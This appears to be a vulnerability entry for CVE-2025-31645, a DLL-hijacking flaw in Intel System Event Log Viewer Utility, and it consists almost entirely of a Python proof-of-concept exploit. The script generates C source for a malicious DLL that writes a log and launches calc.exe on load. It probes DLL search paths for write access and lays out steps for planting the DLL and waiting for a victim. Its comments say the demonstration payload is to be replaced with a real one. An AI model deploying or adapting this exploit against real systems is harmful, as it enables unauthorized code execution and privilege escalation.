CVE-2025-31645 Intel System Event Log Viewer Utility 未控制搜索路径权限提升漏洞

# CVE-2025-31645 DLL Hijacking PoC # Target: Intel System Event Log Viewer Utility # Vulnerability: Uncontrolled Search Path Element # # This PoC demonstrates the DLL hijacking technique for CVE-2025-31645 # For educational and authorized security testing purposes only import os import ctypes import sys def create_malicious_dll(): """Generate malicious DLL source code for exploitation""" dll_source = ''' // Malicious DLL for CVE-2025-31645 demonstration // Target: System Event Log Viewer Utility #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload when DLL is loaded // In real attack, this would contain malicious code // Create a log file to demonstrate code execution FILE *f = fopen("C:\\\\Temp\\\\cve-2025-31645-poc.log", "w"); if (f) { fprintf(f, "CVE-2025-31645 DLL loaded successfully!\\n"); fprintf(f, "Process: %s\\n", GetCommandLineA()); fprintf(f, "Time: %s\\n", __TIMESTAMP__); fclose(f); } // Execute calc.exe as demonstration (should be replaced with actual payload) WinExec("calc.exe", SW_SHOWNORMAL); } return TRUE; } ''' # In real scenario, compile this to DLL and place in target search path print("[*] DLL source generated - compile with: gcc -shared -o vulnerable.dll dll_source.c") return dll_source def check_vulnerable_paths(): """Check common DLL search paths for write access""" vulnerable_paths = [ os.environ.get('TEMP', ''), os.environ.get('TMP', ''), os.path.expanduser('~'), 'C:\\\\Windows\\\\Temp', ] print("[*] Checking for writable DLL search paths...") for path in vulnerable_paths: if path and os.path.exists(path): test_file = os.path.join(path, 'test_write.tmp') try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print(f"[+] Writable path found: {path}") except: print(f"[-] Not writable: {path}") def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2025-31645 Exploitation PoC") print("Intel System Event Log Viewer Utility - DLL Hijacking") print("=" * 60) # Step 1: Identify target application print("\n[Step 1] Identifying target application...") target_app = "System Event Log Viewer Utility" print(f"[*] Target: {target_app}") # Step 2: Generate malicious DLL print("\n[Step 2] Generating malicious DLL...") create_malicious_dll() # Step 3: Check for vulnerable paths print("\n[Step 3] Identifying vulnerable DLL search paths...") check_vulnerable_paths() # Step 4: Deploy DLL print("\n[Step 4] Deploy malicious DLL to search path") print("[*] Place compiled DLL in application search path") print("[*] Common paths: current directory, temp folder, application directory") # Step 5: Trigger execution print("\n[Step 5] Wait for victim to launch vulnerable application") print("[*] DLL will be loaded and payload executed with application privileges") print("\n[!] Note: This is a PoC for authorized security testing only") print("[!] Actual exploitation requires: authenticated user access + user interaction") if __name__ == '__main__': exploit()